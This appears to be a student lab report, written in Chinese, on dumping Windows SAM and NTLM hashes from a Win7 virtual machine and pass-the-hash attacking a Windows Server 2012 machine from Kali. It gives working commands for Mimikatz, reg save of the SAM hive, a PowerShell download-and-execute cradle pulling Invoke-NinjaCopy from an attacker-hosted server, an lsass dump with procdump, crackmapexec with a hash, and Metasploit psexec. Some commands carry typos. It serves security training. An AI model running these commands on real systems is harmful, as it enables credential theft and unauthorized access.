一、 实验目的
- 掌握获取本地用户数据SAM文件。
- 掌握读取本地用户信息。
- 了解哈希传递PTH的原理。
- 掌握哈希传递的用法
二、 实验设备及环境
Win7 虚拟机X 1
Kali 虚拟机 X 1
WinServer2012R2 X 1
三、 实验要求
- 在win7登录原生管理员administrator,并保证WinServer2012上至少有一个账号的密码与win7的administrator账号密码相同。
- 任选上课中介绍的一款工具读取win7的本地账号和对应的NTLM hash值。
- 在kali上利用在win7上得到的NTLM hash对WinServer2012进行PTH攻击,工具选择crackmapexec或msf,PTH攻击成功后在命令行运行net user 查看所有本地用户。
四、 实验步骤
- 在win7登录原生管理员administrator,并保证WinServer2012上至少有一个账号的密码与win7的administrator账号密码相同。
2,使用工具读取win7的本地账号和对应的NTLM hash值。
2.1在线读取SAM数据库,使用Mimikatz抓取用户信息。
首先,在win7运行Mimikatz,输入privilege::debug提升权限。
然后输入sekurlsa::liginPasswords抓取本机用户明码。
也可以通过token::elevate和lsadump::sam读取所有用户信息
2.2离线读取SAM数据库
首先,开启管理员权限,利用注册表导出SAM数据。输入以下指令:
reg save HKLM\SYSTEM c:\system.hiv
reg save HKLM\SAM c:\sam.hiv
打开c盘就可以看到刚保存的两个文件
将这些文件复制粘贴到mimikatz.exe文件目录中执行以下操作:
privilege::debug
lsadump::sam /sam:sam.hiv /system:system.hiv,即可获取到所有用户信息
2.3,还可以借助powershell脚本中的Ninjiacopy对SAM数据库进行copy。进入kali直接输入powersploit进入模板,然后输入cd Exfiltration进入Exfiltration目录就可以看到Invoke-Ninjiacopy.ps1这个脚本。
可以使用远程加载执行的方法运行Invoke-Ninjiacopy.ps1。
首先,将Powersploit目录整体拷贝到apache的WWW目录下。
sudo cp -r /usr/share/windows-resources/powersploit /var/www/html
开启kali的apache服务。sudo service apache2 start
在win7上访问kali看是否成功。kali ip/powersploit 访问
访问成功后,即可远程执行该脚本。命令如下,远程访问存放在kali上的脚本并执行,分别将sam和system两个文件保存在WIN7 c:\ 根目录下。
powershell.exe -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.133/powersploit/Exfiltration/Invoke-NinjaCopy.ps1’); Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "c:\sam2.hiv"
powershell.exe -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.133/powersploit/Exfiltration/Invoke-NinjaCopy.ps1’); Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "c:\system2.hiv"
将mimikatz.exe与刚才导出的文件放在同一目录下并执行下列操作:
privilege::debug
lsadump::sam /sam:sam.hiv /system:system.hiv
mimikatz.exe "privilege::debug" "lsadump::sam /sam:sam.hiv /system:system.hiv" "exit" > hash.txt (命令行执行方式)
2.4,同样可以使用Procdump获取密码
命令如下
procdump.exe -accepteula -ma lsass.exe lsass.dmp
procdump导出的dmp文件也可以使用mimikatz来进行解密,将mimikatz.exe与刚才导出的文件放在同一目录下并执行下列操作:
privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
3,在kali上利用在win7上得到的NTLM hash对WinServer2012进行PTH攻击,工具选择crackmapexec或msf,PTH攻击成功后在命令行运行net user 查看所有本地用户。
3.1使用Crackmapexec进行PTH:
crackmapexec smb IP -u user -H hash -x whoami
crackmapexec smb 192.168.1.250 -u Administrator -H
0f1db551f6d724b5fa4e60b8e7765c92 -x whoami
3.2 使用MSF( Metasploit )进行PTH:
MSF中可以进行PTH的模块一共有三个:
auxiliary/admin/smb/psexec_command
//在目标机器上执行系统命令
exploit/windows/smb/psexec
// 用psexec执行系统命令
exploit/windows/smb/psexec_psh
// 使用powershell作为payload
首先,输入msfconsole进入msf。然后输入
use exploit/windows/smb/psexec选择模块用psexec执行系统命令
然后设置相关参数(目标ip,目标用户名,NTLM hash)然后run
最后获取winserver 2012权限